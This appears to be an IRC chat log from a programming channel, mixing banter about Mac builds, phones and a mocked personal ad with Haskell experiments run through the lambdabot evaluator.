13:03:55 <ais523> you'd think that with macs only having two architecture configurations, doing it via binaries would work well
13:04:01 <ehird> /usr, /usr/local, ooh, or trample on macports with /opt/local!
13:04:14 <ehird> ais523: the issue is that it's not a very consistent unix underneath
13:04:24 <ehird> macports just makes it all smooth
13:04:32 <ehird> in return you have to wait a while for big stuff
13:04:44 <asiekierka> By joining the main procedure and the parsing procedure
13:05:07 <ehird> ais523: btw ghc isn't _hard_ -- setting up the build just involves running ./configure (iirc), maybe making a config.mk file, and typing 'make -j(cores*1.5)' and letting it rip for hours
13:05:23 <ehird> -j3 is so much ridiculously faster than -j1 on this box
13:05:30 <ehird> literally 3x compile time speedup
13:05:38 <ehird> ais523: for IO-bound stuff
13:05:44 <ehird> it's widely recommended
13:05:51 <ehird> i'm sure it's been thought through properly :P
13:05:59 <ehird> ais523: also scheduler stuff iirc
13:06:20 <ehird> i don't really know, but everyone tells you to do it
13:06:44 <ais523> so what do I set -j to on my single-core laptop over here?
13:07:28 <ehird> ais523: well, it might help with some things.
13:07:43 <ehird> this is an irrelevant discussion in ~3 years when you can't buy single-core cpus any more :P
13:09:51 <ehird> what are we codinerating?
13:10:44 <asiekierka> Though writing the code from the Psion to the PC (as I don't have a Psion<>PC cable) would take a while
13:10:53 <asiekierka> and runs Hello World in less than a second! :D
13:11:15 <ehird> that psion does look like a pretty crap subnotebook :P
13:12:08 <asiekierka> It's an organiser on which you can code stuff
13:18:54 -!- upyr[emacs] has quit (Remote closed the connection).
13:21:03 -!- upyr[emacs] has joined.
13:32:02 <fizzie> Speaking of the Android phones (except that we weren't), HTC seems to have announced their third (keyboardless again, like the second one was) Android phone.
13:32:23 <asiekierka> Finally, finished the BF interpreter for the Psion
13:33:30 <ehird> fizzie: I couldn't buy a non-iPhone keyboardless phone. Even with the amount of hacks and tweaks in Apple's, it's still annoying, so I can't imagine what any lesser one would be like... :p
13:35:12 <fizzie> Hey, the new HTC Hero has its own custom UI (called "Sense") which supposedly adds hacks and tweaks. Of course it probably sucks.
13:35:29 <fizzie> I like the word "lesser" there, though.
13:36:24 <ehird> Show me another tech company with as much attention to detail as apple and I'll show you an apple acquisition target :P
13:36:26 * ehird attempts to figure out what the fuck http://angelbase.com/main/home/home.php is
13:36:42 <ehird> my initial yuk-yuk thought was using the astral plane to compute or something
13:36:45 <ehird> i really can't figure it out
13:37:15 <ehird> [[>It's just basically a "slide show." It's not real software. Consequently, it may perform slowly. The real AngelBase software does not yet exist. But when it does, it is anticipated to perform extremely fast.
13:37:18 <ehird> My Pretty Pony isn't a real pony. Consequently, you might have difficulty appreciating its prettiness. The real pony does not yet exist, but when it does I expect it will be very pretty.]]
13:37:21 <ais523> ehird: now you've said that, you're making me wonder if NetHack is somehow TC, barring memory restrictions
13:37:44 <ehird> i love how a slideshow supposedly performs more slowly than actually doing the computation
13:38:25 <fizzie> Hey, Wikipedia has added "Android (operating system)" directly on the main Android (in the sense of a type-of-robot) page; it used to be just in the separate disambiguation page. I think I'm going to assume that's because I've gone the "android -> disambig -> android (os)" path something like 20 times already.
13:38:29 <ehird> It's just basically a "slide show." It's not real software. Consequently, it may perform slowly. The real AngelBase software does not yet exist. But when it does, it is anticipated to perform extremely fast.
13:38:30 <ehird> My Pretty Pony isn't a real pony. Consequently, you might have difficulty appreciating its prettiness. The real pony does not yet exist, but when it does I expect it will be very pretty.
13:41:04 <ehird> "The seminars will be held in church buildings and will be free,"
13:41:11 <ehird> this religion-software entanglement is bizarre
13:41:23 <fizzie> Separation of Church and Code.
13:41:25 <ehird> what's next? homeopathic virus scanners?
13:41:42 <ehird> you take a virus' code, and replace instructions with nops gradually
13:41:46 <ehird> then you run it to get rid of the virus
13:41:55 <ehird> the more nops instead of virus instructions there are, the more effective it is
13:43:36 <ehird> "It looks an awful like the What The Bleep Do We Know people took some computer classes and failed miserably." — reddit
13:45:07 <ehird> "My message EXCITES her. She believes what I'm saying is coming from God." — maker's http://www.findingmygoddess.com/
13:45:22 <ehird> talk about egomaniacal
13:45:42 <ehird> "I am on the brink of a large-scale financial success that many people believe will escalate me, over the next decade, from member of the middle class—to billionaire. I am the inventor and developer of, and control the majority interest in, a patented new technology that numerous well-credentialed experts agree can, quite literally, re-define the entire computer industry."
13:45:50 <fizzie> That "my message" quote of yours sounds like a spam subject. Possibly one selling some sort of male enhancement thing.
13:45:52 <ehird> right; you mean you renamed some RDBMS concepts and gave them pretty pictures
13:46:04 <ehird> fizzie: "message", "saying"
13:46:49 <ehird> "I will be generous, giving the Goddess I seek 100% legal control over an appropriate portion of the anticipated wealth."
13:46:51 <ehird> 100% of a portion!
13:46:58 <ehird> That's like 50% if he chooses half!
13:47:39 <ehird> "She knows that the location where God resides is within her beautiful heart."
13:47:49 <ehird> I _knew_ that thing's been up to things other than pumping blood.
13:47:49 <Gracenotes> lol. http://www.amazon.com/review/R29BEIXU19X6GD/
13:48:32 <ehird> "She knows the truth of reincarnation. Alternatively, she is open to the concept and ready for experiences that will demonstrate its truth to her."
13:48:35 <ehird> er... you mean like, death?
13:49:33 -!- oerjan has joined.
13:51:33 <ehird> a revolutionary new interface paradigm
13:51:52 <ehird> "She never feels greed."
13:52:10 <oerjan> "GIMME THAT FILE YOU USELESS PIECE OF ELECTRONICS!"
13:52:14 <ehird> "She unconditionally loves a large number of people.... or all people.... however, she loves different people with different levels of intensity."
13:52:17 <ehird> Even though they're all god.
13:52:31 <ehird> "She has the quality of childlike innocence."
13:52:37 <ehird> "She receives guidance directly from God, and she follows this Spirit guidance, even when it takes courage to do so (e.g. because others might get angry or think she's nuts)."
13:52:42 <ehird> and takes guidance directly from god...
13:52:47 <ehird> Well, then everyone fits that bill!
13:53:16 * ehird gets to "Body" section, fears hugely for this guy's mental health
13:53:56 <ehird> Is there any requirement he *doesn't* have?
13:54:21 <ehird> "If she has been victimized by an ex-boyfriend or ex-husband who has been violent, severely emotionally abusive, engaged in crimes that harm other people, and/or abuses alcohol or drugs, then she must be 100% disconnected from him except for minimal contacts required to comply with a court order pursuant to children or financial support."
13:54:26 <ehird> Her love of all people is unconditional.
13:54:35 <ehird> You just said that some paragraphs and some bullet items ago.
13:55:06 <ehird> "She is PASSIONATE. Actually, she is INTENSELY passionate.... passionate about God, passionate about eliminating social injustice, passionate when speaking to audiences or on television, and passionate in bed with me."
13:55:09 <ehird> ("Mostly the latter.")
13:55:17 <ehird> "She believes in the light-filled MAGIC of sacred sex. She wants to utilize this magic to manifest our Global Vision. She realizes that her sacred sexual union with me is crucial for manifesting the Global Vision."
13:55:26 <ehird> If you have sex with me, we'll get world peace?
13:55:36 <ehird> "If she has been a prostitute, that is GOOD!!"
13:55:43 <ehird> I'm pretty much quoting every other sentence here
13:56:11 <ehird> She is WILLING to surrender and be worshipped as a Goddess.
13:56:11 <ehird> She is WANTING to surrender and be worshipped as a Goddess.
13:56:13 <ehird> She is WAITING to surrender and be worshipped as a Goddess.
13:56:17 <ehird> Immediately followed by this picture: http://www.findingmygoddess.com/blurry+pensive_nohat_redshirt_1124.jpg
13:56:35 <ehird> "Gallant. INTENSELY romantic. Perfect gentleman."
13:56:40 <ehird> "Also insane, but don't let that put you off."
13:59:05 <ehird> "100% straight (i.e. heterosexual)."
13:59:44 <ehird> "However, when we launch our own TV show (which will have very different energy), I will watch every episode."
13:59:52 <oerjan> "In 99% self-denial, too"
14:00:09 <ehird> "But I'm funny! I will make you laugh... lots."
14:00:12 <ehird> You're tellin' me!
14:00:50 <ehird> I do NOT wish to control my Goddess. I have ZERO interest in controlling either her or our relationship. [...] What I seek is an exquisite Love Dance in which my male role is to lead (as in ballroom dancing) and my Goddess's female role is to surrender in ecstasy.
14:00:53 <Slereah_> EPIDEMY OF GAY ON THE WEST COAST
14:01:12 <oerjan> no no, the 1% is for his pet goat
14:01:22 <ehird> [[May each woman who replies to this ad be PERMANENTLY surrounded by Angels of God and a Shield of Light that admits only Light, Love, Beauty, Joy, Wisdom, Truth, and Divinity into her body, mind, heart and soul, and that reflects back and ABSOLUTELY PROTECTS her from anything that is not of God regardless of how "well intended" or "spiritual" or "common sensical" its source may appear to be. May SHE, and may ALL her thoughts about me, and may EACH AND E
14:01:25 <ehird> VERY aspect of her interactions with me (including all electronic, software and database systems by which we communicate), be ABSOLUTELY PROTECTED from any intrusion or interference or obstruction whatsoever (directly or indirectly or through a "well meaning" person) by anyone or any "entity" or any thing that is opposed to God.]]
14:01:31 <ehird> Surrounded on both sides by:
14:01:33 <ehird> [[Glory to God! Om Namah Narayanaya! Om Namah Shivaya! Om Sri Ganasheya Namaha! Jai Laxmi! Guru Om! Jai Sri Sri Ravi Shankar! Glory to Buddha! Glory to Jesus! Glory to Mary mother of Jesus! Glory to Mary Magdalene! Glory to Allah! Om Namo Bhaghavate Vaasudevaya! Jai Yogananda! Jai Mata Amritanandamayi! Jai Gurumayi Chidvilasananda! Jai Muktananda! Jai Guru Dev! Nam Myoho Renge Kyo! Amen! Om Shanti Shanti Shanti! ]]
14:01:39 <ehird> "Copyright © 2008 by The Angelic Realm of Intellectual Substance,"
14:01:45 <ehird> Of Intellectual Substance.
14:02:44 <ehird> are there any "make money fast" guides that actually involve making a make money fast guide and selling it? :-)
14:03:09 <oerjan> ehird: i have seen jokes about
14:03:11 <Slereah_> I mostly prostitute my goat for money
14:03:28 <ehird> I was wondering whether any actually do that
14:03:36 <oerjan> i think Dogbert did such a lecture once
14:03:42 <amca> No mention of the Old Ones?
14:04:00 <oerjan> amca: hard to say with all that foreign language
14:04:36 <amca> Nothing in there I remember from my reading of the Necronomicon
14:05:00 <oerjan> amca: your brain probably wiped half of it for your sanity, anyhow
14:05:51 <amca> Oh, I dont have any sanity left. I just follow the lead of the dark eldritch ones.
14:07:10 <oerjan> i guess _he_ wiped half of it, and failed to preserve his sanity in the process
14:14:39 * ehird reads a Jeff Atwood article to see if he's gained any sanity or decent thought yet, decides not
14:15:20 <ehird> "Yes, I am dead serious. Just check back here in fifteen to twenty years to see if I was right. (Hint: I will be.)"
14:17:41 <ehird> ais523: Previously: "Here's how far I am willing to go: <OBNOXIOUS JEFF ATWOOD BOLD>I believe the iPhone will ultimately be judged a more important product than the original Apple Macintosh.</OBNOXIOUS JEFF ATWOOD BOLD>"
14:17:56 <ehird> I don't give a shit about what he's saying (he's still on crack), specifically, but jeez, the way he says it.
14:18:11 <ais523> ugh, that's one of the things you can claim is correct after 15 to 20 years and nobody will be able to prove you wrong
14:20:47 <ehird> ais523: haha, howso?
14:21:04 <ais523> because it's an opinion, and can't be proved either way
14:21:06 <ehird> theory: if you stripped all the bold out of jeff atwood articles, your blood would boil ~20% less when reading them
14:21:25 <ehird> He <BOLD>s everything and it is</BOLD> really annoying because <BOLD>god dammit it is</BOLD>.
14:21:37 <ais523> did you see the argument on reddit as to whether single quotes or double quotes were faster?
14:22:00 <ehird> ais523: in which context?
14:22:03 <ehird> there was something related earlier
14:22:11 <ais523> but it then moved on to HTML
14:22:13 <oerjan> <ehird> the more nops instead of virus instructions there are, the more effective it is <-- well that sounds reasonable :D
14:22:19 <ehird> ais523: that was on reddit yesterday :P
14:22:34 <ehird> ais523: it ended up with people saying " had less 1 bits
14:22:45 <ehird> then it was pointed out that the 1 bits in ' are thinner
14:22:46 <ehird> so they count as less
14:23:11 <ehird> http://us.metamath.org/mpegif/helloworld.html
14:23:14 <ais523> as an electronic engineer, I'd pick something with the same number of 0 bits as 1 bits if I could
14:23:24 <ais523> to reduce the amount of DC buildup in the cable
14:23:37 <ais523> I have no idea how much of a problem that is at computer scales; probably not at all
14:23:42 <ehird> oerjan: translate the statement to english foru s?
14:23:47 <ais523> but on larger scales, it can cause all sorts of problems
14:23:48 <ehird> i suck at logical notation
14:23:56 <ais523> so they often encode 0 as 01 and 1 as 10 to make sure it's balanced
14:23:58 <ais523> or other schemes like that
14:24:01 <oerjan> ehird: em, you said it
14:24:10 <oerjan> or else, which statement
14:24:10 <ehird> oerjan: i'm talking about http://us.metamath.org/mpegif/helloworld.html
14:25:07 <ehird> http://www.bytecellar.com/archives/000113.php ← IRCing with an Apple //c
14:25:58 <ehird> dumb terminals live!
14:27:00 <oerjan> ehird: i suggest you email Prof. Loof Lirpa and ask
14:27:15 <ehird> oerjan: but you're a mathematician, surely you know the notation :<
14:27:15 <Gracenotes> does lookaheadfind cause firefox to randomly crash sometimes for anyone else?
14:27:38 <oerjan> ehird: i'm not much acquainted with infix empty set notation, is the problem
14:27:44 <asiekierka> LOL, check the OPL.dialog in the Hello World collection
14:27:53 <asiekierka> it's probably the only multilanguage implementation there
14:27:55 <ehird> oerjan: i think it might be multiplying them or something
14:28:08 <asiekierka> as in, German, English and French AFAIK
14:28:35 <oerjan> ehird: i think i can confirm step 1, at least
14:28:41 <ehird> oh, I don't need the steps
14:28:49 <ehird> I just want to know what the notation of the statement means in english :)
14:29:49 <oerjan> also, 4 clearly follows from 3
14:30:34 <oerjan> it's using infix relational notation with the empty set as the relation
14:31:02 <oerjan> as step 2 says plainly, really
14:31:46 <oerjan> basically WØ(R1d) means that the tuple (W,(R1d)) is in the empty set, which is trivially false
14:31:57 <ehird> just a variable name
14:32:12 <oerjan> sure, nothing but that empty set really matters
14:32:23 <ehird> wonder why they used 1 instead of l
14:32:26 <ehird> i guess l is taken :P
14:32:39 <ehird> oerjan: so the W doesn't really have any special meaning?
14:32:45 <ehird> ditto for the h and LL I guess? d too? and R? :P
14:32:48 <oerjan> ehird: they wanted it to be a 1337 proof
14:33:10 <oerjan> well LL0 and R1d are really not subdivided any
14:34:07 <oerjan> ehird: also, they needed something balance using the empty set for "o", it would look suspect if that was the only non-letter
14:36:54 <oerjan> it's just "not (something and something-trivially-false)", which is a tautology
14:36:57 <ehird> AnMaster: i pinged you last night in the logs thingy
14:37:09 <AnMaster> I called lenovo, you can't order customised ones in Sweden
14:37:18 <ehird> did they give any reason?
14:37:36 <AnMaster> however, I can't reach lenovo in UK to ask if you can order from them in Sweden
14:37:48 <AnMaster> I get "the number can not be reach from this telephone" (in Swedish)
14:37:50 <ehird> you'd probably want to go for the US one
14:37:57 <ehird> weak dollar and all
14:38:01 <ehird> also tech is cheaper in the US
14:38:21 <ehird> your fault for not going with the euro :-p
14:38:41 * ehird configs the model on the us site to see how cheaper it is
14:38:49 <oerjan> ehird: US might have voltage issues?
14:39:07 <ehird> oerjan: ah, that's true; you might have to buy a EU connector
14:39:20 <AnMaster> hm, the UK one will have the wrong connector
14:39:28 <ehird> aren't all EU connectors the same?
14:39:40 <AnMaster> ehird, how many pins are there in yours?
14:40:06 <AnMaster> ehird, plus some stuff on the side for the ground
14:40:23 <ehird> i wonder if you can sort by how weak a currency is in europe :)
14:40:29 * ehird clicks the european sites aimlessly to find one
14:41:25 <oerjan> hm how do you define weakness of a currency anyhow, relative unit size is not really important
14:41:50 <oerjan> afaict kronan is not weak because it is small, but because it is falling
14:43:37 <oerjan> http://www.forexpeacearmy.com/currency_strength_calculator/
14:44:13 <oerjan> only one european one though
14:44:38 * oerjan should learn to read before talking :D
15:12:31 -!- amca has quit ("Farewell").
15:14:05 -!- BeholdMyGlory has joined.
15:15:01 * oerjan evilly pings only after what he said has dropped beyond the 3 line limit
15:16:16 <oerjan> also, http://www.mezzacotta.net/postcard/
15:21:14 <ehird> "Bill Nye Explains: The iPhone 3GS's Oleophobic Screen"
15:26:59 <ehird> "Nye began his professional entertainment career as an actor on a local sketch comedy television show in Seattle, Almost Live!. Nye corrected the host of Almost Live! after the host pronounced "gigawatt" as "jigowatt", a mispronunciation made common by the film Back to the Future."
15:27:02 <ehird> But, that's correct!
15:27:05 <ehird> BILL NYE IS FOUNDED ON A LIE.
15:28:38 <ehird> When Pluto was reclassified from a planet to a dwarf planet by the International Astronomical Union in 2006, Nye came out in favor of the change. Nye held a conference in 2006 discussing his opinion on the issue.[13]
15:29:39 <GregorR> And I heard he doesn't eat sandwiches!
15:50:02 <ehird> [['Stoned wallabies make crop circles'
15:50:02 <ehird> Wallabies have been observed acting strangely in poppy fields
15:50:04 <ehird> Australian wallabies are eating opium poppies and creating crop circles as they hop around "as high as a kite", a government official has said.]]
15:50:07 <ehird> http://news.bbc.co.uk/1/hi/world/asia-pacific/8118257.stm
15:50:35 -!- deveah has quit (Read error: 60 (Operation timed out)).
15:50:50 -!- FireFly has joined.
16:01:57 -!- pikhq_ has changed nick to pikhq.
16:03:57 <nooga_> what is haskell good for, except for theorem provers?
16:04:55 -!- GregorR-L has joined.
16:05:53 <Slereah_> Haskell is good for making me insane
16:06:10 * ehird stabs nooga_ for being an idiot.
16:06:15 <ehird> pikhq: Please join me, O New Convert.
16:06:42 <ehird> It's useful for everything.
16:06:56 <nooga_> like, writing own scheme interpreter?
16:07:29 <ehird> Yes, both of those.
16:07:41 <ehird> Haskell is based on the ML family, which were designed for writing implementations.
16:07:45 <ehird> Haskell improves it massively.
16:07:47 <ehird> Raytracer, absolutely.
16:07:49 <nooga_> and it compiles to fast machine code?
16:07:51 <ehird> It'll be fast, too.
16:07:56 <ehird> Sometimes you need to hint the compiler.
16:08:01 <ehird> But most of the time you get nice speed.
16:08:12 <ehird> (as long as you use ByteStrings instead of Strings when you can)
16:08:52 <ehird> nooga_: http://www.learnyouahaskell.com/; if your brain is intact at every point, you probably didn't understand it.
16:10:56 <lambdabot> "\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\...
16:11:03 <ehird> You should be good at Haskell now. If you're not, you did not understand it.
16:11:36 <pikhq> Speaking of which, I know Monads.
16:11:53 <ehird> BUT DO YOU KNOW GONADS
16:12:22 <pikhq> Looks like an instance of a monad for the sake of reproduction.
16:12:25 <nooga_> this book would learn my sister how to code in haskell
16:13:02 <pikhq> nooga is an idiot.
16:13:13 <pikhq> Also, INFINITE LISTS! [0..]
16:13:45 <Deewiant> With -XFiniteLists, you can even do [0..10] !
16:15:14 * oerjan swats Deewiant -----###
16:17:34 <lambdabot> [2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,...
16:18:03 -!- evenant has joined.
16:19:40 <oerjan> x < 100 is just a test there, it doesn't define x
16:19:56 <oerjan> x happens to be a global Expr in lambdabot
16:20:27 <oerjan> > [2*x | x <- [0..99]]
16:20:30 <lambdabot> [0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,5...
16:20:52 -!- Dewio has quit (hubbard.freenode.net irc.freenode.net).
16:20:52 -!- nescience has quit (hubbard.freenode.net irc.freenode.net).
16:21:27 -!- Dewi has joined.
16:23:16 <oerjan> > [2*x | x <- [0..99], x `mod` 3 == 0]
16:23:18 <lambdabot> [0,6,12,18,24,30,36,42,48,54,60,66,72,78,84,90,96,102,108,114,120,126,132,1...
16:24:33 <oerjan> mod only applies to integral types
16:25:50 <oerjan> no fmod easily available iirc
16:26:26 <Deewiant> > [2*x | x <- [0..99], x `mod'` 1.5 == 0]
16:26:28 <lambdabot> [0.0,6.0,12.0,18.0,24.0,30.0,36.0,42.0,48.0,54.0,60.0,66.0,72.0,78.0,84.0,9...
16:27:10 <lambdabot> Data.Fixed mod' :: Real a => a -> a -> a
16:27:10 <lambdabot> Data.Fixed divMod' :: (Real a, Integral b) => a -> a -> (b, a)
16:27:31 <lambdabot> Source not found. BOB says: You seem to have forgotten your passwd, enter another!
16:27:56 <oerjan> hm i think that's recent?
16:28:11 <pikhq> nooga_: How much functional programming have you done?
16:29:15 <nooga_> just a tiny bit of Scheme or some projects in school
16:29:19 <oerjan> huh my old hugs has it
16:29:27 * oerjan must have missed it before
16:29:47 <ehird> > let primes = [ x | x <- [2..], not (any ((== 0) . (`mod` x)) primes) ] in primes
16:29:52 <pikhq> So, lemme see if I grok this...
16:29:52 <lambdabot> mueval-core: Prelude.read: no parse
16:29:54 <ehird> hmph, that's infinite obviousl
16:30:25 <pikhq> > [0..10] >>= (2*)
16:30:27 <lambdabot> No instance for (GHC.Enum.Enum [b])
16:30:27 <lambdabot> arising from the arithmetic sequence...
16:30:38 <nooga_> how about 1d cellular automaton oneliner in haskell?
16:30:46 <oerjan> maybe the discussion i recall was just about it being inefficient, not based on actual floating point operations
16:30:54 <ehird> nooga_: 1d CA are just logic expressions of three variables
16:31:04 <pikhq> Aaaaw, I thought that'd work... :(
16:31:20 <nooga_> okay, i just want to see how would it look like
16:31:24 <pikhq> > [0..10] >>= (2*) :: [Int]
16:31:24 <ehird> pikhq: 2* doesn't return an [a]
16:31:26 <lambdabot> No instance for (GHC.Enum.Enum [GHC.Types.Int])
16:31:34 <lambdabot> forall (m :: * -> *) a b. (Monad m) => m a -> (a -> m b) -> m b
16:31:41 <lambdabot> forall a b (f :: * -> *). (Functor f) => (a -> b) -> f a -> f b
16:31:45 * pikhq needs to think of them there types.
16:31:46 <ehird> ofc you could also do (return . (2*))
16:31:51 <ehird> but that's what fmap is :P
16:31:59 <pikhq> > [0..10] >>= return . (2*) :: [Int]
16:32:00 <lambdabot> [0,2,4,6,8,10,12,14,16,18,20]
16:32:05 <ehird> don't need the :: now
16:32:12 <pikhq> ehird: Yes, I know. I just wanted to see if I grokked anything at all.
16:32:34 <pikhq> And the :: is there because I had hit up and modified stuff...
16:32:36 * ehird attempts to find alternative firmware for the Siemens Gigaset SE572 router...
16:33:25 <oerjan> > join (liftM2 (*)) [0..9]
16:33:27 <lambdabot> [0,0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,0,2,4,6,8,10,12,14,16,18,0,3,6,9,1...
16:33:59 <pikhq> > [0..10] >>= "Hello"
16:34:00 <lambdabot> Couldn't match expected type `t -> [b]'
16:34:07 <pikhq> > [0..10] >>= return "Hello"
16:34:09 <lambdabot> "HelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHello"
16:34:19 <pikhq> I implemented repeat! :P
16:34:23 <lambdabot> "HelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHello"
16:34:44 <lambdabot> Source not found. Wrong! You cheating scum!
16:34:44 <pikhq> Right, >>= return is >>...
16:34:53 <ehird> how do you search for instance sources w/ lb
16:35:15 <ehird> @pl \f xs -> zipWith f xs (tail xs)
16:35:29 <oerjan> pikhq: actually the return there is a lie
16:35:34 <ehird> @pl \xs -> zip xs (tail xs)
16:35:36 <pikhq> > let repeat' n = [0..n] >> in repeat 10 "badger"
16:35:37 <lambdabot> <no location info>: parse error on input `in'
16:35:39 <ehird> @let pairs = ap zip tail
16:35:42 <oerjan> it's really const appearing from the -> monad
16:36:00 <ehird> @let pairs = (`ap` tail) . zipWith
16:36:02 <lambdabot> Multiple declarations of `L.pairs'
16:36:14 <ehird> Yeah. Functions are monads. :)
16:36:20 <ehird> @let pairs = (`ap` tail) . zipWith
16:36:29 <ehird> @let zipPairs = (`ap` tail) . zipWith
16:36:31 <lambdabot> Source not found. Where did you learn to type?
16:36:47 <pikhq> Scratch that. Whoa.
16:37:07 <pikhq> I'm not *entirely* sure how that's useful, but... Whoa.
16:37:14 <ehird> pikhq: it's a monad, so we define it as one.
16:37:22 <ehird> > fix (zipPairs (+))
16:37:28 <ehird> > fix (zipPairs (+) [1..])
16:37:31 <pikhq> ehird: Yes, I'm just not sure how it's useful that it is a monad.
16:37:39 <ehird> @let zipPairs = (`ap` tail) . zipWith
16:37:43 <ehird> > fix (zipPairs (+) [1..])
16:37:45 <lambdabot> Couldn't match expected type `a -> a' against inferred type `[b]'
16:37:51 <ehird> pikhq: It isn't particularly. :-)
16:37:53 <pikhq> Of course, someone's done it, I'm sure. :P
16:38:15 <ehird> i've used that before
16:38:18 <ehird> pikhq: btw so you understand that:
16:38:20 <pikhq> I know you can use fmap in order to confuse people instead of ., though...
16:38:41 <ehird> pikhq: it is the opinion of many that map and (.) should not exist, and that fmap should be called (.)
16:38:51 <ehird> purefunction . monadstuff
16:39:08 <pikhq> ehird: ... I just got what a monad *is*.
16:39:35 <ehird> pikhq: Ah yes, the "OK, I understand them. Oh. OH! Wow. Okay, I didn't really understand them." revelation ;-)
16:39:49 <oerjan> pikhq: the -> monad is identical to the Reader monad, except for a newtype wrapper
16:39:50 <pikhq> f =<< x = x >>= f. Why the hell was that confusing me?
16:40:01 <oerjan> and the Reader monad is generally considered useful
16:40:22 <ehird> but reader is more nice and abstract
16:40:30 <lambdabot> forall b c. (b -> b -> c) -> [b] -> [c]
16:40:36 <ehird> > fix (zipPairs (+) [1..])
16:40:38 <lambdabot> Couldn't match expected type `a -> a' against inferred type `[b]'
16:40:38 <pikhq> oerjan: And whassat do?
16:40:48 <oerjan> the -> monad itself is more useful for point-free obfuscation
16:40:48 <ehird> > zipPairs (+) [1..]
16:40:51 <lambdabot> [3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,...
16:41:23 <ehird> > fix (zipPairs (+) . (1:) . (0:))
16:41:25 <lambdabot> [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,1...
16:41:31 <oerjan> pikhq: it lets you pass a configuration value to all sub-computations without mentioning it explicitly
16:41:37 <ehird> > 0 : fix (zipPairs (+) . (1:))
16:41:42 <lambdabot> mueval-core: Prelude.read: no parse
16:41:58 <ehird> > fix (zipPairs (+) . (1:))
16:42:03 <lambdabot> mueval-core: Prelude.read: no parse
16:42:07 <oerjan> also, you can change it but only in subcomputations, unlike State. but as a result Reader is more lazy sometimes
16:42:18 <ehird> > fix (\xs -> 0:1:zipPairs (+) xs)
16:42:20 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
16:42:38 <ehird> > fix $ (0 :) . (1 :) . zipPairs (+)
16:42:40 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
16:43:11 <ehird> @let fibs = fix $ (0 :) . (1 :) . zipPairs (+)
16:43:20 <lambdabot> 336447648764317832666216120051075433103021484606800639065647699746800814421...
16:43:25 <pikhq> > fix dinner where dinner = (0:) . (1;) . zipPairs (+)
16:43:28 <lambdabot> <no location info>: parse error on input `where'
16:43:29 <lambdabot> mueval-core: Prelude.read: no parse
16:43:33 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
16:43:39 <lambdabot> forall a b. (a -> b -> a) -> a -> [b] -> [a]
16:43:42 <ehird> Well fuck me with a rake.
16:43:58 <ehird> @let fibs = fix $ (0:) . scanl (+) 1
16:44:06 <lambdabot> 336447648764317832666216120051075433103021484606800639065647699746800814421...
16:44:32 -!- oerjan has quit ("Indeed, time to fix dinner").
16:45:34 -!- deveah has joined.
16:45:51 <ehird> Slereah_: No it's not.
16:46:00 <ehird> http://en.wikipedia.org/wiki/Fibonacci_number
16:46:43 <pikhq> > let fibo = (!!) fibs in fibo -1
16:46:45 <lambdabot> No instance for (GHC.Num.Num (GHC.Types.Int -> a))
16:47:10 <ehird> due to associativity
16:47:19 <ehird> @let fib = (!!) fibs
16:47:25 <lambdabot> * Exception: Prelude.(!!): negative index
16:47:26 <nooga_> i'm ready to feel pure awesomeness of lambda!
16:47:32 <pikhq> That's more like it.
16:47:37 <nooga_> should i use textmate? :F
16:47:48 <ehird> nooga_: it has a haskell bundle but it doesn't handle indentation.
16:47:53 <pikhq> nooga_: There is no editor but Emacs.
16:47:55 <ehird> either stomach emacs and use haskell-mode+haskell-indentation,
16:47:59 <ehird> or get along with vim or haskell
16:48:51 <ehird> @let lie n = take n $ iterate (fibs !!) 6
16:49:07 <lambdabot> [[],[6],[6,8],[6,8,21],[6,8,21,10946],[6,8,21,10946,-6804146883746901631],[...
16:49:22 <ehird> @let lie n = (iterate (fibs !!) 6) !! n
16:49:24 <lambdabot> Couldn't match expected type `[Int]' against inferred type `Int'
16:49:30 <ehird> ...also, FUCKING INTS.
16:49:39 <ehird> @let lie n = (iterate (fibs !!) 6) !! n
16:49:40 <lambdabot> <local>:1:18: Not in scope: `fibs'
16:49:58 <ehird> @let fibs = fix $ (0:) . scanl (+) 1
16:49:59 <Deewiant> ehird: @undef doesn't take a parameter.
16:50:10 <ehird> @let fib = fibs !!
16:50:10 <lambdabot> Parse error in expression: HsPostOp (HsVar (UnQual (HsIdent "fibs"))) (HsQV...
16:50:14 <ehird> @let fib = (fibs !!)
16:50:43 <ehird> @let lie = genericIndex . iterate (genericIndex fibs) 6
16:50:44 <lambdabot> Couldn't match expected type `a -> [b]'
16:50:51 <lambdabot> forall b a. (Integral a) => [b] -> a -> b
16:52:36 <ehird> :t (genericIndex .)
16:52:38 <lambdabot> forall b a a1. (Integral a) => (a1 -> [b]) -> a1 -> a -> b
16:52:46 <ehird> @let lie n = genericIndex n $ iterate (genericIndex fibs) 6
16:52:57 <Deewiant> ?ty \x -> iterate (genericIndex x) 6
16:52:57 <ehird> @let lie n = iterate (genericIndex fibs) 6 `genericIndex` n
16:52:58 <lambdabot> forall b. (Integral b) => [b] -> [b]
16:53:11 <ehird> @let lie = (iterate (genericIndex fibs) 6 `genericIndex`)
16:53:12 <lambdabot> Equations for `lie' have different numbers of arguments
16:53:24 <ehird> @let fibs = fix $ (0:) . scanl (+) 1
16:53:28 <ehird> @let fib = genericIndex fibs
16:53:32 <ehird> @let lie = (iterate (genericIndex fibs) 6 `genericIndex`)
16:53:39 <lambdabot> [6,8,21,10946,1695216512765707006912636688460460939847003870309508922628952...
16:54:05 <ehird> http://www.research.att.com/~njas/sequences/index.html?q=6%2C8%2C21%2C10946&language=english&go=Search
16:54:07 <ehird> Iterations of the Fibonacci sequence starting at 6.
16:54:52 <lambdabot> 100000000000000000000000000000000000000000000000000000000000000000000000000...
16:55:01 <ehird> > lie 4 / (10^2287)
